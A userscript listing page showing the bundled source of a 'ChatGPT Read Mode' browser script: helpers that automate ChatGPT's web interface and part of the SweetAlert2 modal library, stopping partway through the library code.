ChatGPT 阅读模式

🍞 显示一个用于阅读的模态框

当前为 2023-08-15 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name chatgpt-read-mode
  3. // @description 🍞 show a modal for Read
  4. // @author mefengl
  5. // @version 0.0.2
  6. // @namespace https://github.com/mefengl
  7. // @require https://cdn.jsdelivr.net/npm/@mozilla/readability@0.4.3/Readability.min.js
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
  9. // @license MIT
  10. // @match *://*/*
  11. // @grant GM_registerMenuCommand
  12.  
  13. // @name:en ChatGPT Read Mode
  14. // @description:en 🍞 Show a modal for Read
  15. // @name:zh-CN ChatGPT 阅读模式
  16. // @description:zh-CN 🍞 显示一个用于阅读的模态框
  17. // @name:es Modo de lectura de ChatGPT
  18. // @description:es 🍞 Mostrar un modal para Leer
  19. // @name:hi ChatGPT पढ़ने का मोड
  20. // @description:hi 🍞 पढ़ने के लिए एक मोडल दिखाएं
  21. // @name:ar وضع القراءة لـ ChatGPT
  22. // @description:ar 🍞 عرض نموذج للقراءة
  23. // @name:pt Modo de leitura do ChatGPT
  24. // @description:pt 🍞 Mostre um modal para Leitura
  25. // @name:ru Режим чтения ChatGPT
  26. // @description:ru 🍞 Показать модальное окно для чтения
  27. // @name:ja ChatGPTの読み取りモード
  28. // @description:ja 🍞 閲覧用のモーダルを表示する
  29. // @name:de ChatGPT-Lesemodus
  30. // @description:de 🍞 Zeigen Sie ein Modal für Lesen an
  31. // @name:fr Mode de lecture ChatGPT
  32. // @description:fr 🍞 Afficher une fenêtre modale pour la lecture
  33. // ==/UserScript==
  34. "use strict";
  35. (() => {
  36. var __create = Object.create;
  37. var __defProp = Object.defineProperty;
  38. var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  39. var __getOwnPropNames = Object.getOwnPropertyNames;
  40. var __getProtoOf = Object.getPrototypeOf;
  41. var __hasOwnProp = Object.prototype.hasOwnProperty;
  42. var __commonJS = (cb, mod) => function __require() {
  43. return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  44. };
  45. var __copyProps = (to, from, except, desc) => {
  46. if (from && typeof from === "object" || typeof from === "function") {
  47. for (let key of __getOwnPropNames(from))
  48. if (!__hasOwnProp.call(to, key) && key !== except)
  49. __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  50. }
  51. return to;
  52. };
  53. var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  54. // If the importer is in node compatibility mode or this is not an ESM
  55. // file that has been converted to a CommonJS file using a Babel-
  56. // compatible transform (i.e. "__esModule" has not been set), then set
  57. // "default" to the CommonJS "module.exports" for node compatibility.
  58. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
  59. mod
  60. ));
  61. var __async = (__this, __arguments, generator) => {
  62. return new Promise((resolve, reject) => {
  63. var fulfilled = (value) => {
  64. try {
  65. step(generator.next(value));
  66. } catch (e) {
  67. reject(e);
  68. }
  69. };
  70. var rejected = (value) => {
  71. try {
  72. step(generator.throw(value));
  73. } catch (e) {
  74. reject(e);
  75. }
  76. };
  77. var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected);
  78. step((generator = generator.apply(__this, __arguments)).next());
  79. });
  80. };
  81.  
  82. // ../../packages/chatkit/dist/chatgpt/index.js
  83. var require_chatgpt = __commonJS({
  84. "../../packages/chatkit/dist/chatgpt/index.js"(exports, module) {
  85. "use strict";
  86. var __defProp2 = Object.defineProperty;
  87. var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor;
  88. var __getOwnPropNames2 = Object.getOwnPropertyNames;
  89. var __hasOwnProp2 = Object.prototype.hasOwnProperty;
  90. var __export = (target, all) => {
  91. for (var name in all)
  92. __defProp2(target, name, { get: all[name], enumerable: true });
  93. };
  94. var __copyProps2 = (to, from, except, desc) => {
  95. if (from && typeof from === "object" || typeof from === "function") {
  96. for (let key of __getOwnPropNames2(from))
  97. if (!__hasOwnProp2.call(to, key) && key !== except)
  98. __defProp2(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc2(from, key)) || desc.enumerable });
  99. }
  100. return to;
  101. };
  102. var __toCommonJS = (mod) => __copyProps2(__defProp2({}, "__esModule", { value: true }), mod);
  103. var chatgpt_exports = {};
  104. __export(chatgpt_exports, {
  105. clickFollowUpButton: () => clickFollowUpButton,
  106. getButton: () => getButton,
  107. getContinueGeneratingButton: () => getContinueGeneratingButton,
  108. getConversation: () => getConversation,
  109. getCopyLinkButton: () => getCopyLinkButton,
  110. getFollowUpButtons: () => getFollowUpButtons,
  111. getHistoryBlockTitle: () => getHistoryBlockTitle,
  112. getHistoryBlocks: () => getHistoryBlocks,
  113. getHistoryBlocksWithTitle: () => getHistoryBlocksWithTitle,
  114. getInitialButtons: () => getInitialButtons,
  115. getLastResponse: () => getLastResponse,
  116. getLastResponseElement: () => getLastResponseElement,
  117. getModelSelectButton: () => getModelSelectButton,
  118. getNav: () => getNav,
  119. getNewModelSelectButtons: () => getNewModelSelectButtons,
  120. getRegenerateButton: () => getRegenerateButton,
  121. getResponseElementHTMLs: () => getResponseElementHTMLs2,
  122. getShareChatButton: () => getShareChatButton,
  123. getStopGeneratingButton: () => getStopGeneratingButton,
  124. getSubmitButton: () => getSubmitButton,
  125. getTextarea: () => getTextarea,
  126. getTextareaValue: () => getTextareaValue,
  127. hasNewModelSelectButtons: () => hasNewModelSelectButtons,
  128. isConversationStarted: () => isConversationStarted,
  129. isGenerating: () => isGenerating,
  130. isHorizontalConversation: () => isHorizontalConversation,
  131. onSend: () => onSend,
  132. regenerate: () => regenerate,
  133. send: () => send,
  134. setHorizontalConversation: () => setHorizontalConversation,
  135. setPromptListener: () => setPromptListener,
  136. setPureConversation: () => setPureConversation,
  137. setTextarea: () => setTextarea,
  138. waitForIdle: () => waitForIdle
  139. });
  140. module.exports = __toCommonJS(chatgpt_exports);
  141. function getNav() {
  142. return document.querySelector("nav");
  143. }
  144. function getHistoryBlocks() {
  145. const nav = getNav();
  146. if (!nav)
  147. return [];
  148. const result = Array.from(nav.querySelectorAll("ol")).map((ol) => ol.parentElement);
  149. return result;
  150. }
  151. function getHistoryBlockTitle(historyBlock) {
  152. var _a;
  153. return ((_a = historyBlock.querySelector("h3")) == null ? void 0 : _a.textContent) || "";
  154. }
  155. function getHistoryBlocksWithTitle() {
  156. const historyBlocks = getHistoryBlocks();
  157. const result = historyBlocks.map((historyBlock) => ({
  158. block: historyBlock,
  159. title: getHistoryBlockTitle(historyBlock)
  160. }));
  161. return result;
  162. }
  163. function getTextarea() {
  164. const form = document.querySelector("form");
  165. if (!form)
  166. return;
  167. const textareas = form.querySelectorAll("textarea");
  168. const result = textareas[0];
  169. return result;
  170. }
  171. function getSubmitButton() {
  172. const textarea = getTextarea();
  173. if (!textarea)
  174. return;
  175. return textarea.nextElementSibling;
  176. }
  177. function getInitialButtons() {
  178. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => button.querySelectorAll(".truncate").length === 2);
  179. }
  180. function getFollowUpButtons() {
  181. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => {
  182. var _a;
  183. return (_a = button.textContent) == null ? void 0 : _a.trim().match(/[.!?]$/);
  184. });
  185. }
  186. function clickFollowUpButton(index) {
  187. const followUpButtons = getFollowUpButtons();
  188. if (followUpButtons.length === 0)
  189. return;
  190. if (index === void 0 || index < 0 || index >= followUpButtons.length) {
  191. index = Math.floor(Math.random() * followUpButtons.length);
  192. }
  193. followUpButtons[index].click();
  194. }
  195. function getButton(text) {
  196. return Array.from(document.querySelectorAll('button[as="button"]')).find((button) => {
  197. var _a;
  198. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes(text);
  199. });
  200. }
  201. function getRegenerateButton() {
  202. return getButton("regenerate");
  203. }
  204. function getContinueGeneratingButton() {
  205. return getButton("continue");
  206. }
  207. function getStopGeneratingButton() {
  208. return getButton("stop");
  209. }
  210. function getResponseElementHTMLs2() {
  211. return Array.from(document.querySelectorAll(".markdown")).map((m) => m.innerHTML);
  212. }
  213. function getLastResponseElement() {
  214. const responseElements = document.querySelectorAll(".group.w-full");
  215. return responseElements[responseElements.length - 1];
  216. }
  217. function getLastResponse() {
  218. const lastResponseElement = getLastResponseElement();
  219. if (!lastResponseElement)
  220. return;
  221. const lastResponse = lastResponseElement.textContent;
  222. return lastResponse;
  223. }
  224. function getTextareaValue() {
  225. var _a;
  226. return ((_a = getTextarea()) == null ? void 0 : _a.value) || "";
  227. }
  228. function setTextarea(message) {
  229. const textarea = getTextarea();
  230. if (!textarea)
  231. return;
  232. textarea.value = message;
  233. textarea.dispatchEvent(new Event("input", { bubbles: true }));
  234. }
  235. function send(message) {
  236. return __async(this, null, function* () {
  237. setTextarea(message);
  238. const textarea = getTextarea();
  239. if (!textarea)
  240. return;
  241. while (textarea.value === message) {
  242. textarea.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
  243. yield new Promise((resolve) => setTimeout(resolve, 100));
  244. }
  245. });
  246. }
  247. function regenerate() {
  248. const regenerateButton = getRegenerateButton();
  249. if (!regenerateButton)
  250. return;
  251. regenerateButton.click();
  252. }
  253. function onSend(callback) {
  254. const textarea = getTextarea();
  255. if (!textarea)
  256. return;
  257. textarea.addEventListener("keydown", function(event) {
  258. if (event.key === "Enter" && !event.shiftKey) {
  259. callback();
  260. }
  261. });
  262. const sendButton = getSubmitButton();
  263. if (!sendButton)
  264. return;
  265. sendButton.addEventListener("mousedown", callback);
  266. }
  267. function isGenerating() {
  268. var _a, _b;
  269. return ((_b = (_a = getSubmitButton()) == null ? void 0 : _a.firstElementChild) == null ? void 0 : _b.childElementCount) === 3;
  270. }
  271. function waitForIdle() {
  272. return new Promise((resolve) => {
  273. const interval = setInterval(() => {
  274. if (!isGenerating()) {
  275. clearInterval(interval);
  276. resolve();
  277. }
  278. }, 1e3);
  279. });
  280. }
  281. function setPromptListener(key = "prompt_texts") {
  282. let last_trigger_time = +/* @__PURE__ */ new Date();
  283. if (location.href.includes("chat.openai")) {
  284. GM_addValueChangeListener(key, (name, old_value, new_value) => __async(this, null, function* () {
  285. if (+/* @__PURE__ */ new Date() - last_trigger_time < 500) {
  286. return;
  287. }
  288. last_trigger_time = +/* @__PURE__ */ new Date();
  289. setTimeout(() => __async(this, null, function* () {
  290. var _a, _b;
  291. const prompt_texts = new_value;
  292. const isLong = prompt_texts.length > 60;
  293. if (prompt_texts.length > 0) {
  294. let firstTime = true;
  295. while (prompt_texts.length > 0) {
  296. const waitTime = isLong && !document.hasFocus() ? 20 * 1e3 : 2e3;
  297. if (!firstTime) {
  298. yield new Promise((resolve) => setTimeout(resolve, waitTime));
  299. }
  300. if (!firstTime && isGenerating()) {
  301. continue;
  302. } else if (getContinueGeneratingButton()) {
  303. (_a = getContinueGeneratingButton()) == null ? void 0 : _a.click();
  304. continue;
  305. } else if (getRegenerateButton() && !getTextarea()) {
  306. yield new Promise((resolve) => setTimeout(resolve, 10 * 1e3));
  307. (_b = getRegenerateButton()) == null ? void 0 : _b.click();
  308. continue;
  309. }
  310. firstTime = false;
  311. yield send(prompt_texts.shift() || "");
  312. }
  313. }
  314. }), 0);
  315. GM_setValue(key, []);
  316. }));
  317. }
  318. }
  319. function getConversation() {
  320. var _a, _b;
  321. return (_b = (_a = document.querySelector('div[class^="react-scroll-to-bottom"]')) == null ? void 0 : _a.firstChild) == null ? void 0 : _b.firstChild;
  322. }
  323. function getModelSelectButton() {
  324. const conversation = getConversation();
  325. if (!conversation)
  326. return;
  327. return Array.from(conversation.querySelectorAll("button")).find((button) => {
  328. var _a;
  329. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("model");
  330. });
  331. }
  332. function getNewModelSelectButtons() {
  333. return Array.from(document.querySelectorAll("[class^='group/button']"));
  334. }
  335. function hasNewModelSelectButtons() {
  336. return getNewModelSelectButtons().length > 0;
  337. }
  338. function isConversationStarted() {
  339. return !getModelSelectButton();
  340. }
  341. function setPureConversation() {
  342. const conversation = getConversation();
  343. if (!conversation)
  344. return;
  345. const firstChild = conversation.firstChild;
  346. if (!firstChild)
  347. return;
  348. const newDiv = document.createElement("div");
  349. conversation.insertBefore(newDiv, firstChild.nextSibling);
  350. }
  351. function isHorizontalConversation() {
  352. const conversation = getConversation();
  353. if (!conversation)
  354. return true;
  355. if (!isConversationStarted())
  356. return true;
  357. return conversation.classList.contains("grid");
  358. }
  359. function setHorizontalConversation() {
  360. if (isHorizontalConversation())
  361. return;
  362. setPureConversation();
  363. const conversation = getConversation();
  364. if (!conversation)
  365. return;
  366. conversation.classList.remove("flex", "flex-col", "items-center");
  367. conversation.classList.add("grid", "grid-cols-2", "place-items-center");
  368. }
  369. function getShareChatButton() {
  370. return document.querySelector('button[aria-label="Share chat"]');
  371. }
  372. function getCopyLinkButton() {
  373. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => {
  374. var _a;
  375. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("copy link");
  376. })[0];
  377. }
  378. }
  379. });
  380.  
  381. // ../../packages/chatkit/chatgpt.js
  382. var require_chatgpt2 = __commonJS({
  383. "../../packages/chatkit/chatgpt.js"(exports, module) {
  384. module.exports = require_chatgpt();
  385. }
  386. });
  387.  
  388. // ../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js
  389. var require_sweetalert2_all = __commonJS({
  390. "../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js"(exports, module) {
  391. (function(global, factory) {
  392. typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, global.Sweetalert2 = factory());
  393. })(exports, function() {
  394. "use strict";
  395. const RESTORE_FOCUS_TIMEOUT = 100;
  396. const globalState = {};
  397. const focusPreviousActiveElement = () => {
  398. if (globalState.previousActiveElement instanceof HTMLElement) {
  399. globalState.previousActiveElement.focus();
  400. globalState.previousActiveElement = null;
  401. } else if (document.body) {
  402. document.body.focus();
  403. }
  404. };
  405. const restoreActiveElement = (returnFocus) => {
  406. return new Promise((resolve) => {
  407. if (!returnFocus) {
  408. return resolve();
  409. }
  410. const x = window.scrollX;
  411. const y = window.scrollY;
  412. globalState.restoreFocusTimeout = setTimeout(() => {
  413. focusPreviousActiveElement();
  414. resolve();
  415. }, RESTORE_FOCUS_TIMEOUT);
  416. window.scrollTo(x, y);
  417. });
  418. };
  419. var privateProps = {
  420. promise: /* @__PURE__ */ new WeakMap(),
  421. innerParams: /* @__PURE__ */ new WeakMap(),
  422. domCache: /* @__PURE__ */ new WeakMap()
  423. };
  424. const swalPrefix = "swal2-";
  425. const classNames = ["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"];
  426. const swalClasses = classNames.reduce(
  427. (acc, className) => {
  428. acc[className] = swalPrefix + className;
  429. return acc;
  430. },
  431. /** @type {SwalClasses} */
  432. {}
  433. );
  434. const icons = ["success", "warning", "info", "question", "error"];
  435. const iconTypes = icons.reduce(
  436. (acc, icon) => {
  437. acc[icon] = swalPrefix + icon;
  438. return acc;
  439. },
  440. /** @type {SwalIcons} */
  441. {}
  442. );
  443. const consolePrefix = "SweetAlert2:";
  444. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  445. const warn = (message) => {
  446. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  447. };
  448. const error = (message) => {
  449. console.error(`${consolePrefix} ${message}`);
  450. };
  451. const previousWarnOnceMessages = [];
  452. const warnOnce = (message) => {
  453. if (!previousWarnOnceMessages.includes(message)) {
  454. previousWarnOnceMessages.push(message);
  455. warn(message);
  456. }
  457. };
  458. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  459. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  460. };
  461. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  462. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  463. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  464. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  465. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  466. const elementBySelector = (selectorString) => {
  467. const container = getContainer();
  468. return container ? container.querySelector(selectorString) : null;
  469. };
  470. const elementByClass = (className) => {
  471. return elementBySelector(`.${className}`);
  472. };
  473. const getPopup = () => elementByClass(swalClasses.popup);
  474. const getIcon = () => elementByClass(swalClasses.icon);
  475. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  476. const getTitle = () => elementByClass(swalClasses.title);
  477. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  478. const getImage = () => elementByClass(swalClasses.image);
  479. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  480. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  481. const getConfirmButton = () => (
  482. /** @type {HTMLButtonElement} */
  483. elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)
  484. );
  485. const getCancelButton = () => (
  486. /** @type {HTMLButtonElement} */
  487. elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)
  488. );
  489. const getDenyButton = () => (
  490. /** @type {HTMLButtonElement} */
  491. elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)
  492. );
  493. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  494. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  495. const getActions = () => elementByClass(swalClasses.actions);
  496. const getFooter = () => elementByClass(swalClasses.footer);
  497. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  498. const getCloseButton = () => elementByClass(swalClasses.close);
  499. const focusable = `
  500. a[href],
  501. area[href],
  502. input:not([disabled]),
  503. select:not([disabled]),
  504. textarea:not([disabled]),
  505. button:not([disabled]),
  506. iframe,
  507. object,
  508. embed,
  509. [tabindex="0"],
  510. [contenteditable],
  511. audio[controls],
  512. video[controls],
  513. summary
  514. `;
  515. const getFocusableElements = () => {
  516. const popup = getPopup();
  517. if (!popup) {
  518. return [];
  519. }
  520. const focusableElementsWithTabindex = popup.querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])');
  521. const focusableElementsWithTabindexSorted = Array.from(focusableElementsWithTabindex).sort((a, b) => {
  522. const tabindexA = parseInt(a.getAttribute("tabindex") || "0");
  523. const tabindexB = parseInt(b.getAttribute("tabindex") || "0");
  524. if (tabindexA > tabindexB) {
  525. return 1;
  526. } else if (tabindexA < tabindexB) {
  527. return -1;
  528. }
  529. return 0;
  530. });
  531. const otherFocusableElements = popup.querySelectorAll(focusable);
  532. const otherFocusableElementsFiltered = Array.from(otherFocusableElements).filter((el) => el.getAttribute("tabindex") !== "-1");
  533. return [...new Set(focusableElementsWithTabindexSorted.concat(otherFocusableElementsFiltered))].filter((el) => isVisible$1(el));
  534. };
  535. const isModal = () => {
  536. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  537. };
  538. const isToast = () => {
  539. const popup = getPopup();
  540. if (!popup) {
  541. return false;
  542. }
  543. return hasClass(popup, swalClasses.toast);
  544. };
  545. const isLoading = () => {
  546. const popup = getPopup();
  547. if (!popup) {
  548. return false;
  549. }
  550. return popup.hasAttribute("data-loading");
  551. };
  552. const setInnerHtml = (elem, html) => {
  553. elem.textContent = "";
  554. if (html) {
  555. const parser = new DOMParser();
  556. const parsed = parser.parseFromString(html, `text/html`);
  557. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  558. elem.appendChild(child);
  559. });
  560. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  561. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  562. elem.appendChild(child.cloneNode(true));
  563. } else {
  564. elem.appendChild(child);
  565. }
  566. });
  567. }
  568. };
  569. const hasClass = (elem, className) => {
  570. if (!className) {
  571. return false;
  572. }
  573. const classList = className.split(/\s+/);
  574. for (let i = 0; i < classList.length; i++) {
  575. if (!elem.classList.contains(classList[i])) {
  576. return false;
  577. }
  578. }
  579. return true;
  580. };
  581. const removeCustomClasses = (elem, params) => {
  582. Array.from(elem.classList).forEach((className) => {
  583. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  584. elem.classList.remove(className);
  585. }
  586. });
  587. };
  588. const applyCustomClass = (elem, params, className) => {
  589. removeCustomClasses(elem, params);
  590. if (params.customClass && params.customClass[className]) {
  591. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  592. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  593. return;
  594. }
  595. addClass(elem, params.customClass[className]);
  596. }
  597. };
  598. const getInput$1 = (popup, inputClass) => {
  599. if (!inputClass) {
  600. return null;
  601. }
  602. switch (inputClass) {
  603. case "select":
  604. case "textarea":
  605. case "file":
  606. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  607. case "checkbox":
  608. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  609. case "radio":
  610. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  611. case "range":
  612. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  613. default:
  614. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  615. }
  616. };
  617. const focusInput = (input) => {
  618. input.focus();
  619. if (input.type !== "file") {
  620. const val = input.value;
  621. input.value = "";
  622. input.value = val;
  623. }
  624. };
  625. const toggleClass = (target, classList, condition) => {
  626. if (!target || !classList) {
  627. return;
  628. }
  629. if (typeof classList === "string") {
  630. classList = classList.split(/\s+/).filter(Boolean);
  631. }
  632. classList.forEach((className) => {
  633. if (Array.isArray(target)) {
  634. target.forEach((elem) => {
  635. condition ? elem.classList.add(className) : elem.classList.remove(className);
  636. });
  637. } else {
  638. condition ? target.classList.add(className) : target.classList.remove(className);
  639. }
  640. });
  641. };
  642. const addClass = (target, classList) => {
  643. toggleClass(target, classList, true);
  644. };
  645. const removeClass = (target, classList) => {
  646. toggleClass(target, classList, false);
  647. };
  648. const getDirectChildByClass = (elem, className) => {
  649. const children = Array.from(elem.children);
  650. for (let i = 0; i < children.length; i++) {
  651. const child = children[i];
  652. if (child instanceof HTMLElement && hasClass(child, className)) {
  653. return child;
  654. }
  655. }
  656. };
  657. const applyNumericalStyle = (elem, property, value) => {
  658. if (value === `${parseInt(value)}`) {
  659. value = parseInt(value);
  660. }
  661. if (value || parseInt(value) === 0) {
  662. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  663. } else {
  664. elem.style.removeProperty(property);
  665. }
  666. };
  667. const show = function(elem) {
  668. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  669. elem && (elem.style.display = display);
  670. };
  671. const hide = (elem) => {
  672. elem && (elem.style.display = "none");
  673. };
  674. const setStyle = (parent, selector, property, value) => {
  675. const el = parent.querySelector(selector);
  676. if (el) {
  677. el.style[property] = value;
  678. }
  679. };
  680. const toggle = function(elem, condition) {
  681. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  682. condition ? show(elem, display) : hide(elem);
  683. };
  684. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  685. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  686. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  687. const hasCssAnimation = (elem) => {
  688. const style = window.getComputedStyle(elem);
  689. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  690. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  691. return animDuration > 0 || transDuration > 0;
  692. };
  693. const animateTimerProgressBar = function(timer) {
  694. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  695. const timerProgressBar = getTimerProgressBar();
  696. if (isVisible$1(timerProgressBar)) {
  697. if (reset) {
  698. timerProgressBar.style.transition = "none";
  699. timerProgressBar.style.width = "100%";
  700. }
  701. setTimeout(() => {
  702. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  703. timerProgressBar.style.width = "0%";
  704. }, 10);
  705. }
  706. };
  707. const stopTimerProgressBar = () => {
  708. const timerProgressBar = getTimerProgressBar();
  709. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  710. timerProgressBar.style.removeProperty("transition");
  711. timerProgressBar.style.width = "100%";
  712. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  713. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  714. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  715. };
  716. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  717. const sweetHTML = `
  718. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  719. <button type="button" class="${swalClasses.close}"></button>
  720. <ul class="${swalClasses["progress-steps"]}"></ul>
  721. <div class="${swalClasses.icon}"></div>
  722. <img class="${swalClasses.image}" />
  723. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  724. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  725. <input class="${swalClasses.input}" id="${swalClasses.input}" />
  726. <input type="file" class="${swalClasses.file}" />
  727. <div class="${swalClasses.range}">
  728. <input type="range" />
  729. <output></output>
  730. </div>
  731. <select class="${swalClasses.select}" id="${swalClasses.select}"></select>
  732. <div class="${swalClasses.radio}"></div>
  733. <label class="${swalClasses.checkbox}">
  734. <input type="checkbox" id="${swalClasses.checkbox}" />
  735. <span class="${swalClasses.label}"></span>
  736. </label>
  737. <textarea class="${swalClasses.textarea}" id="${swalClasses.textarea}"></textarea>
  738. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  739. <div class="${swalClasses.actions}">
  740. <div class="${swalClasses.loader}"></div>
  741. <button type="button" class="${swalClasses.confirm}"></button>
  742. <button type="button" class="${swalClasses.deny}"></button>
  743. <button type="button" class="${swalClasses.cancel}"></button>
  744. </div>
  745. <div class="${swalClasses.footer}"></div>
  746. <div class="${swalClasses["timer-progress-bar-container"]}">
  747. <div class="${swalClasses["timer-progress-bar"]}"></div>
  748. </div>
  749. </div>
  750. `.replace(/(^|\n)\s*/g, "");
  751. const resetOldContainer = () => {
  752. const oldContainer = getContainer();
  753. if (!oldContainer) {
  754. return false;
  755. }
  756. oldContainer.remove();
  757. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  758. return true;
  759. };
  760. const resetValidationMessage$1 = () => {
  761. globalState.currentInstance.resetValidationMessage();
  762. };
  763. const addInputChangeListeners = () => {
  764. const popup = getPopup();
  765. const input = getDirectChildByClass(popup, swalClasses.input);
  766. const file = getDirectChildByClass(popup, swalClasses.file);
  767. const range = popup.querySelector(`.${swalClasses.range} input`);
  768. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  769. const select = getDirectChildByClass(popup, swalClasses.select);
  770. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  771. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  772. input.oninput = resetValidationMessage$1;
  773. file.onchange = resetValidationMessage$1;
  774. select.onchange = resetValidationMessage$1;
  775. checkbox.onchange = resetValidationMessage$1;
  776. textarea.oninput = resetValidationMessage$1;
  777. range.oninput = () => {
  778. resetValidationMessage$1();
  779. rangeOutput.value = range.value;
  780. };
  781. range.onchange = () => {
  782. resetValidationMessage$1();
  783. rangeOutput.value = range.value;
  784. };
  785. };
  786. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  787. const setupAccessibility = (params) => {
  788. const popup = getPopup();
  789. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  790. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  791. if (!params.toast) {
  792. popup.setAttribute("aria-modal", "true");
  793. }
  794. };
  795. const setupRTL = (targetElement) => {
  796. if (window.getComputedStyle(targetElement).direction === "rtl") {
  797. addClass(getContainer(), swalClasses.rtl);
  798. }
  799. };
  800. const init = (params) => {
  801. const oldContainerExisted = resetOldContainer();
  802. if (isNodeEnv()) {
  803. error("SweetAlert2 requires document to initialize");
  804. return;
  805. }
  806. const container = document.createElement("div");
  807. container.className = swalClasses.container;
